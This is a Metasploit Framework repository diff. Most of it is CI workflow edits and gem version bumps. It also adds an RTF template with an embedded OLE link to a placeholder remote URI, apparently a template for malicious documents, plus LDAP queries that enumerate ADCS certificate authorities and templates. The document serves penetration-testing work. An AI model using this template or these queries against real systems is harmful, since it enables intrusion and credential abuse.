bwatters 7f6ef8384b Update cache sizes... 2022-05-24 16:09:47 -05:00
bwatters 681455dec3 Add a custom stager type for x86 windows 2022-05-24 16:09:47 -05:00
Spencer McIntyre 318465771b Fix a typo 2022-05-24 08:44:37 -04:00
Spencer McIntyre e4947cd127 Add ownership check for testing file writability 2022-05-24 08:44:12 -04:00
Spencer McIntyre 2c323ae4db Move a library function to where it's needed 2022-05-23 12:36:07 -04:00
204 changed files with 18325 additions and 6363 deletions
+1 -1
View File
@@ -31,7 +31,7 @@ on:
jobs:
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
build:
runs-on: ubuntu-18.04
runs-on: ubuntu-latest
timeout-minutes: 40
strategy:
+2 -2
View File
@@ -28,14 +28,14 @@ on:
jobs:
msftidy:
runs-on: ubuntu-18.04
runs-on: ubuntu-latest
timeout-minutes: 40
strategy:
fail-fast: true
matrix:
ruby:
- 2.6
- 2.7
name: Lint msftidy
steps:
+11 -6
View File
@@ -28,7 +28,7 @@ on:
jobs:
build:
runs-on: ubuntu-18.04
runs-on: ubuntu-latest
timeout-minutes: 40
name: Docker Build
steps:
@@ -44,7 +44,7 @@ jobs:
/usr/bin/docker-compose build
test:
runs-on: ubuntu-18.04
runs-on: ${{ matrix.os }}
timeout-minutes: 40
services:
@@ -64,10 +64,15 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.6
- 2.7
- 3.0.3
- 3.1.1
- 3.0
- 3.1
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: 2.7 }
- { os: ubuntu-latest, ruby: 3.0 }
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
@@ -78,7 +83,7 @@ jobs:
env:
RAILS_ENV: test
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
steps:
- name: Install system dependencies
run: sudo apt-get install libpcap-dev graphviz
+2
View File
@@ -3,6 +3,8 @@ Gemfile.local
Gemfile.local.lock
# Rubymine project directory
.idea
# Visual Studio Code configuration settings directory
.vscode
# Sublime Text project directory (not created by ST by default)
.sublime-project
# RVM control file, keep this to avoid backdooring Metasploit
Executable → Regular
+2 -1
View File
@@ -15,7 +15,8 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry-byebug'
# lock to version with 2.6 support until project updates
gem 'pry-byebug', "~> 3.9.0"
# module documentation
gem 'octokit'
# memory profiling
+70 -70
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.10)
metasploit-framework (6.2.18)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -42,7 +42,7 @@ PATH
network_interface
nexpose
nokogiri
octokit
octokit (~> 4.0)
openssl-ccm
openvas-omp
packetfu
@@ -55,7 +55,6 @@ PATH
rb-readline
recog
redcarpet
reline (= 0.2.5)
rex-arch
rex-bin_tools
rex-core
@@ -75,7 +74,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby_smb (~> 3.1.0)
ruby_smb (~> 3.2.0)
rubyntlm
rubyzip
sinatra
@@ -98,57 +97,57 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.6)
actionview (= 6.1.6)
activesupport (= 6.1.6)
actionpack (6.1.7)
actionview (= 6.1.7)
activesupport (= 6.1.7)
rack (~> 2.0, >= 2.0.9)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.6)
activesupport (= 6.1.6)
actionview (6.1.7)
activesupport (= 6.1.7)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.6)
activesupport (= 6.1.6)
activerecord (6.1.6)
activemodel (= 6.1.6)
activesupport (= 6.1.6)
activesupport (6.1.6)
activemodel (6.1.7)
activesupport (= 6.1.7)
activerecord (6.1.7)
activemodel (= 6.1.7)
activesupport (= 6.1.7)
activesupport (6.1.7)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
zeitwerk (~> 2.3)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
arel-helpers (2.14.0)
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.602.0)
aws-sdk-core (3.131.2)
aws-partitions (1.628.0)
aws-sdk-core (3.145.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.320.0)
aws-sdk-ec2 (1.331.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.69.0)
aws-sdk-iam (1.70.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.57.0)
aws-sdk-kms (1.58.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.114.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.0)
aws-sigv4 (1.5.1)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
@@ -177,19 +176,19 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubi (1.10.0)
erubi (1.11.0)
eventmachine (1.2.7)
factory_bot (6.2.1)
activesupport (>= 5.0.0)
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.21.0)
faker (2.23.0)
i18n (>= 1.8.11, < 2)
faraday (2.3.0)
faraday-net_http (~> 2.0)
faraday (2.5.2)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (2.0.3)
faraday-net_http (3.0.0)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
@@ -212,11 +211,11 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.10.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.3.6)
reline (>= 0.2.5)
irb (1.4.1)
reline (>= 0.3.0)
jmespath (1.6.1)
jsobfu (0.4.2)
rkelly-remix
@@ -230,11 +229,11 @@ GEM
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
metasm (1.0.5)
metasploit-concern (4.0.4)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.7)
metasploit-credential (5.0.9)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -244,7 +243,7 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (4.0.5)
metasploit-model (4.0.6)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
@@ -262,11 +261,11 @@ GEM
metasploit_payloads-mettle (1.0.18)
method_source (1.0.0)
mini_portile2 (2.8.0)
minitest (5.16.1)
minitest (5.16.3)
mqtt (0.5.0)
msgpack (1.5.3)
msgpack (1.5.6)
multi_json (1.15.0)
mustermann (1.1.1)
mustermann (2.0.2)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
@@ -280,20 +279,20 @@ GEM
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.13.6)
nokogiri (1.13.8)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.1.2.0)
parser (3.1.2.1)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
@@ -303,19 +302,19 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.1)
pg (1.4.3)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.7)
puma (5.6.4)
public_suffix (5.0.0)
puma (5.6.5)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.4)
rack-protection (2.2.0)
rack-protection (2.2.2)
rack
rack-test (2.0.2)
rack (>= 1.3)
@@ -324,9 +323,9 @@ GEM
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (6.1.6)
actionpack (= 6.1.6)
activesupport (= 6.1.6)
railties (6.1.7)
actionpack (= 6.1.7)
activesupport (= 6.1.7)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -337,7 +336,7 @@ GEM
nokogiri
redcarpet (3.5.1)
regexp_parser (2.5.0)
reline (0.2.5)
reline (0.3.1)
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
@@ -352,7 +351,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.33)
rex-exploitation (0.1.36)
jsobfu
metasm
rex-arch
@@ -366,25 +365,25 @@ GEM
rex-arch
rex-ole (0.1.7)
rex-text
rex-powershell (0.1.96)
rex-powershell (0.1.97)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.8)
rex-random_identifier (0.1.9)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
metasm
rex-core
rex-text
rex-socket (0.1.40)
rex-socket (0.1.42)
rex-core
rex-sslscan (0.1.7)
rex-sslscan (0.1.8)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.38)
rex-text (0.2.45)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -395,7 +394,7 @@ GEM
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.0)
rspec-expectations (3.11.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
@@ -411,25 +410,25 @@ GEM
rspec-support (~> 3.10)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.0)
rubocop (1.31.1)
rspec-support (3.11.1)
rubocop (1.36.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.0.0)
parser (>= 3.1.2.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.18.0, < 2.0)
rubocop-ast (>= 1.20.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.18.0)
rubocop-ast (1.21.0)
parser (>= 3.1.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.1.6)
ruby_smb (3.2.0)
bindata
openssl-ccm
openssl-cmac
@@ -446,12 +445,13 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (2.2.0)
mustermann (~> 1.0)
sinatra (2.2.2)
mustermann (~> 2.0)
rack (~> 2.2)
rack-protection (= 2.2.0)
rack-protection (= 2.2.2)
tilt (~> 2.0)
sqlite3 (1.4.4)
sqlite3 (1.5.0)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
swagger-blocks (3.0.0)
thin (1.8.1)
@@ -459,13 +459,13 @@ GEM
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.10)
tilt (2.0.11)
timecop (0.9.5)
timeout (0.3.0)
ttfunk (1.7.0)
tzinfo (2.0.4)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.1)
tzinfo-data (1.2022.3)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
@@ -507,7 +507,7 @@ DEPENDENCIES
memory_profiler
metasploit-framework!
octokit
pry-byebug
pry-byebug (~> 3.9.0)
rake
redcarpet
rspec-rails
+44 -44
View File
@@ -1,22 +1,22 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.6, MIT
actionview, 6.1.6, MIT
activemodel, 6.1.6, MIT
activerecord, 6.1.6, MIT
activesupport, 6.1.6, MIT
addressable, 2.8.0, "Apache 2.0"
actionpack, 6.1.6.1, MIT
actionview, 6.1.6.1, MIT
activemodel, 6.1.6.1, MIT
activerecord, 6.1.6.1, MIT
activesupport, 6.1.6.1, MIT
addressable, 2.8.1, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.602.0, "Apache 2.0"
aws-sdk-core, 3.131.2, "Apache 2.0"
aws-sdk-ec2, 1.320.0, "Apache 2.0"
aws-sdk-iam, 1.69.0, "Apache 2.0"
aws-sdk-kms, 1.57.0, "Apache 2.0"
aws-partitions, 1.624.0, "Apache 2.0"
aws-sdk-core, 3.137.0, "Apache 2.0"
aws-sdk-ec2, 1.329.0, "Apache 2.0"
aws-sdk-iam, 1.70.0, "Apache 2.0"
aws-sdk-kms, 1.58.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
aws-sigv4, 1.5.0, "Apache 2.0"
aws-sigv4, 1.5.1, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.10, ruby
@@ -37,13 +37,13 @@ domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.10.0, MIT
erubi, 1.11.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.21.0, MIT
faraday, 2.3.0, MIT
faraday-net_http, 2.0.3, MIT
faker, 2.22.0, MIT
faraday, 2.5.2, MIT
faraday-net_http, 3.0.0, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
@@ -57,9 +57,9 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.10.0, MIT
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
irb, 1.4.1, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.2, ruby
@@ -69,19 +69,19 @@ loofah, 2.18.0, MIT
memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.2.10, "New BSD"
metasploit-model, 4.0.5, "New BSD"
metasploit-credential, 5.0.8, "New BSD"
metasploit-framework, 6.2.18, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.16.1, MIT
minitest, 5.16.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.5.3, "Apache 2.0"
msgpack, 1.5.6, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 1.1.1, MIT
mustermann, 2.0.2, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
@@ -90,42 +90,42 @@ net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.13.6, MIT
nokogiri, 1.13.8, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
parser, 3.1.2.0, MIT
parser, 3.1.2.1, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.10.0, MIT
pg, 1.4.1, "Simplified BSD"
pg, 1.4.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.7, MIT
puma, 5.6.4, "New BSD"
public_suffix, 5.0.0, MIT
puma, 5.6.5, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.4, MIT
rack-protection, 2.2.0, MIT
rack-protection, 2.2.2, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.6, MIT
railties, 6.1.6.1, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.23, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.5.0, MIT
reline, 0.2.5, ruby
reline, 0.3.1, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.33, "New BSD"
rex-exploitation, 0.1.35, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
@@ -134,10 +134,10 @@ rex-powershell, 0.1.96, "New BSD"
rex-random_identifier, 0.1.8, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.40, "New BSD"
rex-socket, 0.1.41, "New BSD"
rex-sslscan, 0.1.7, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.38, "New BSD"
rex-text, 0.2.45, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
@@ -148,32 +148,32 @@ rspec-mocks, 3.11.1, MIT
rspec-rails, 5.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.31.1, MIT
rubocop-ast, 1.18.0, MIT
rubocop, 1.35.1, MIT
rubocop-ast, 1.21.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.1.6, "New BSD"
ruby_smb, 3.2.0, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.2.0, MIT
sinatra, 2.2.2, MIT
sqlite3, 1.4.4, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.0.10, MIT
tilt, 2.0.11, MIT
timecop, 0.9.5, MIT
timeout, 0.3.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.4, MIT
tzinfo-data, 1.2022.1, MIT
tzinfo, 2.0.5, MIT
tzinfo-data, 1.2022.3, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.2.0, MIT
+3
View File
@@ -1,3 +1,6 @@
require 'fiddle'
Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
require 'rails'
require File.expand_path('../boot', __FILE__)
+14
View File
@@ -0,0 +1,14 @@
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
@@ -1,5 +1,28 @@
---
queries:
- action: ENUM_ADCS_CAS
description: 'Enumerate ADCS certificate authorities.'
base_dn_prefix: 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pKIEnrollmentService)'
attributes:
- cn
- name
- cACertificateDN
- dNSHostname
- certificateTemplates
- action: ENUM_ADCS_CERT_TEMPLATES
description: 'Enumerate ADCS certificate templates.'
base_dn_prefix: 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pkicertificatetemplate)'
attributes:
- cn
- name
- displayName
- msPKI-Enrollment-Flag
- msPKI-Private-Key-Flag
- msPKI-Certificate-Name-Flag
- msPKI-RA-Signature
- pKIExtendedKeyUsage
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
@@ -2,6 +2,7 @@
queries:
# - action: SAMPLE_ACTION
# description: 'A description.'
# # base_dn_prefix: 'An optional string to prefix to the Base DN'
# filter: '(objectClass=*)'
# attributes:
# - dn
+16 -1
View File
@@ -186,6 +186,9 @@
{
"name": "Exchange Server 2013",
"builds": [
"15.0.1497.40",
"15.0.1497.36",
"15.0.1497.33",
"15.0.1497.28",
"15.0.1497.26",
"15.0.1497.24",
@@ -226,6 +229,12 @@
{
"name": "Exchange Server 2016",
"builds": [
"15.1.2507.12",
"15.1.2507.9",
"15.1.2507.6",
"15.1.2375.31",
"15.1.2375.28",
"15.1.2375.24",
"15.1.2375.18",
"15.1.2375.17",
"15.1.2375.12",
@@ -280,6 +289,12 @@
{
"name": "Exchange Server 2019",
"builds": [
"15.2.1118.12",
"15.2.1118.9",
"15.2.1118.7",
"15.2.986.29",
"15.2.986.26",
"15.2.986.22",
"15.2.986.15",
"15.2.986.14",
"15.2.986.9",
@@ -318,4 +333,4 @@
"eol": false
}
]
}
}
@@ -0,0 +1,30 @@
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}
\pard\plain \ltrpar\ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15608771 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
{\pard\plain \ltrpar\ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15608771 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
{\object\objautlink\rsltpict\objw4321\objh4321\objscalex1\objscaley1{\*\objclass REPLACE_WITH_URI_STRING}{\*\oleclsid \'7b00000300-0000-0000-C000-000000000046\'7d}{\*\objdata 010500000200000009000000
4f4c45324c696e6b000000000000000000000c0000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffdfffffffefffffffeffffff04000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000c6ad98892f1d411a65f0040963251e5000000000000000000000000009e
70f1e98bd80103000000c00200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
0000000000000000000000006b0100000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
0000000000000000000006000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
00000000000000000000000007000000f0000000000000000100000002000000030000000400000005000000fefffffffeffffff08000000090000000a000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020900000001000000000000002a0000000403000000000000c0000000000000460200000021000c0000005f313731383030383936380000000000f90000000903000000000000c00000000000004602000000e0c9ea79f9bace11
8c8200aa004ba90bb20000REPLACE_WITH_URI_STRING_UTF16000000795881f43b1d7f48af2c825dc485276300000000a5ab00030403000000000000c0000000000000460200000021000100000000ffffffff0000000000000000000000000000000000000000ffffffff00000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000100003000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c00REPLACE_WITH_URI_STRING_ASCII
0000bbbbcccc4cREPLACE_WITH_URI_STRING_UTF16
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}
}}}}
@@ -0,0 +1,297 @@
---
AdapFileAuditLog:
- UNIQUE_ID
# - MONITOR_ID
# - EVENT_NUMBER
- TIME_GENERATED
# - EVENT_TYPE
# - EVENT_TYPE_TEXT
- SOURCE
# - REMARKS
# - OBJECT_SERVER
# - OBJECT_TYPE
# - HANDLE_ID
# - OBJECT_NAME
# - UNC_NAME
# - FILE_NAME
# - FILE_LOCATION
# - LOGON_ID
# - OPERATION_ID
- PRIMARY_USER_NAME
- PRIMARY_DOMAIN
- PRIMARY_LOGIN_ID
- CLIENT_USER_NAME
- CLIENT_DOMAIN
